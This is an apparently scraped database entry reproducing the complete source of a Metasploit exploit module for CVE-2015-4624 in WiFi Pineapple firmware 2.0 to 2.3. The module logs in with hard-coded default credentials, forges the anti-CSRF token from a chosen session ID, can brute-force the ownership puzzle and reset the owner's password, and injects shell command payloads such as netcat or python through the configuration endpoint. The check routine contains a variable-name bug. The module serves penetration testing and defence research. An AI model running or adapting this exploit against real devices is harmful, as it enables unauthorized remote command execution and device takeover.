Hak5 WiFi Pineapple Preconfiguration Command Injection

2016-09-07T00:18:36
ID MSF:EXPLOIT/LINUX/HTTP/PINEAPPLE_PRECONFIG_CMDINJECT
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. We use a combination of default credentials with a weakness in the anti-csrf generation to achieve command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail, you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a known password if successful and may interrupt the user experience. These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting worm.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Hak5 WiFi Pineapple Preconfiguration Command Injection',
      'Description'    =&gt; %q{
      This module exploits a command injection vulnerability on WiFi Pineapples version 2.0 &lt;= pineapple &lt; 2.4.
      We use a combination of default credentials with a weakness in the anti-csrf generation to achieve
      command injection on fresh pineapple devices prior to configuration. Additionally if default credentials fail,
      you can enable a brute force solver for the proof-of-ownership challenge. This will reset the password to a
      known password if successful and may interrupt the user experience. These devices may typically be identified
      by their SSID beacons of 'Pineapple5_....'; details derived from the TospoVirus, a WiFi Pineapple infecting
      worm.
      },
      'Author'         =&gt; ['catatonicprime'],
      'License'        =&gt; MSF_LICENSE,
      'References'     =&gt; [[ 'CVE', '2015-4624' ]],
      'Platform'       =&gt; ['unix'],
      'Arch'           =&gt; ARCH_CMD,
      'Privileged'     =&gt; false,
      'Payload'        =&gt; {
        'Space'        =&gt; 2048,
        'DisableNops'  =&gt; true,
        'Compat'       =&gt; {
          'PayloadType'  =&gt; 'cmd',
          'RequiredCmd'  =&gt; 'generic python netcat telnet'
        }
      },
      'Targets'        =&gt; [[ 'WiFi Pineapple 2.0.0 - 2.3.0', {}]],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Aug 1 2015'
    ))

    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username to use for login', 'root' ]),
        OptString.new('PASSWORD', [ true, 'The password to use for login', 'pineapplesareyummy' ]),
        OptString.new('PHPSESSID', [ true, 'PHPSESSID to use for attack', 'tospovirus' ]),
        OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]),
        Opt::RPORT(1471),
        Opt::RHOST('172.16.42.1')
      ]
    )
    register_advanced_options(
      [
        OptBool.new('BruteForce', [ false, 'When true, attempts to solve LED puzzle after login failure', false ]),
        OptInt.new('BruteForceTries', [ false, 'Number of tries to solve LED puzzle, 0 -&gt; infinite', 0 ])
      ]
    )

    deregister_options(
      'ContextInformationFile',
      'DOMAIN',
      'DigestAuthIIS',
      'EnableContextEncoding',
      'FingerprintCheck',
      'HttpClientTimeout',
      'NTLM::SendLM',
      'NTLM::SendNTLM',
      'NTLM::SendSPN',
      'NTLM::UseLMKey',
      'NTLM::UseNTLM2_session',
      'NTLM::UseNTLMv2',
      'SSL',
      'SSLVersion',
      'VERBOSE',
      'WORKSPACE',
      'WfsDelay',
      'Proxies',
      'VHOST'
    )
  end

  def login_uri
    normalize_uri('includes', 'api', 'login.php')
  end

  def brute_uri
    normalize_uri("/?action=verify_pineapple")
  end

  def set_password_uri
    normalize_uri("/?action=set_password")
  end

  def phpsessid
    datastore['PHPSESSID']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def cookie
    "PHPSESSID=#{phpsessid}"
  end

  def csrf_token
    Digest::SHA1.hexdigest datastore['PHPSESSID']
  end

  def use_brute
    datastore['BruteForce']
  end

  def use_brute_tries
    datastore['BruteForceTries']
  end

  def login
    # Create a request to login with the specified credentials.
    res = send_request_cgi(
      'method'    =&gt; 'POST',
      'uri'       =&gt; login_uri,
      'vars_post' =&gt; {
        'username'   =&gt; username,
        'password'   =&gt; password,
        'login'      =&gt; "" # Merely indicates to the pineapple that we'd like to login.
      },
      'headers'   =&gt; {
        'Cookie'     =&gt; cookie
      }
    )

    return nil unless res

    # Successful logins in preconfig pineapples include a 302 to redirect you to the "please config this device" pages
    return res if res.code == 302 && (res.body !~ /invalid username/)

    # Already logged in message in preconfig pineapples are 200 and "Invalid CSRF" - which also indicates a success
    return res if res.code == 200 && (res.body =~ /Invalid CSRF/)

    nil
  end

  def cmd_inject(cmd)
    res = send_request_cgi(
      'method'    =&gt; 'POST',
      'uri'       =&gt; target_uri.path,
      'cookie'    =&gt; cookie,
      'vars_get'  =&gt; {
        'execute' =&gt; "" # Presence triggers command execution
      },
      'vars_post' =&gt; {
        '_csrfToken' =&gt; csrf_token,
        'commands'   =&gt; cmd
      }
    )

    res
  end

  def brute_force
    print_status('Beginning brute forcing...')
    # Attempt to get a new session cookie with an LED puzzle tied to it.
    res = send_request_cgi(
      'method' =&gt; 'GET',
      'uri'    =&gt; brute_uri
    )

    # Confirm the response indicates there is a puzzle to be solved.
    if !res || !(res.code == 200) || res.body !~ /own this pineapple/
      print_status('Brute forcing not available...')
      return nil
    end

    cookies = res.get_cookies
    counter = 0
    while use_brute_tries.zero? || counter &lt; use_brute_tries
      print_status("Try #{counter}...") if (counter % 5).zero?
      counter += 1
      res = send_request_cgi(
        'method'    =&gt; 'POST',
        'uri'       =&gt; brute_uri,
        'cookie'    =&gt; cookies,
        'vars_post' =&gt; {
          'green'            =&gt; 'on',
          'amber'            =&gt; 'on',
          'blue'             =&gt; 'on',
          'red'              =&gt; 'on',
          'verify_pineapple' =&gt; 'Continue'
        }
      )

      if res && res.code == 200 && res.body =~ /set_password/
        print_good('Successfully solved puzzle!')
        return write_password(cookies)
      end
    end
    print_warning("Failed to brute force puzzle in #{counter} tries...")
    nil
  end

  def write_password(cookies)
    print_status("Attempting to set password to: #{password}")
    res = send_request_cgi(
      'method'     =&gt; 'POST',
      'uri'        =&gt; set_password_uri,
      'cookie'     =&gt; cookies,
      'vars_post'  =&gt; {
        'password'     =&gt; password,
        'password2'    =&gt; password,
        'eula'         =&gt; 1,
        'sw_license'   =&gt; 1,
        'set_password' =&gt; 'Set Password'
      }
    )
    if res && res.code == 200 && res.body =~ /success/
      print_good('Successfully set password!')
      return res
    end
    print_warning('Failed to set password')

    nil
  end

  def check
    loggedin = login
    unless loggedin
      brutecheck = send_request_cgi(
        'method' =&gt; 'GET',
        'uri'    =&gt; brute_uri
      )
      return Exploit::CheckCode::Safe if !brutecheck || !brutecheck.code == 200 || brutecheck.body !~ /own this pineapple/
      return Exploit::CheckCode::Vulnerable
    end

    cmd_success = cmd_inject("echo")
    return Exploit::CheckCode::Vulnerable if cmd_success && cmdSuccess.code == 200 && cmd_success.body =~ /Executing/

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Logging in with credentials...')
    loggedin = login
    if !loggedin && use_brute
      brute_force
      loggedin = login
    end
    unless loggedin
      fail_with(Failure::NoAccess, "Failed to login PHPSESSID #{phpsessid} with #{username}:#{password}")
    end

    print_status('Executing payload...')
    cmd_inject("#{payload.encoded}")
  end
end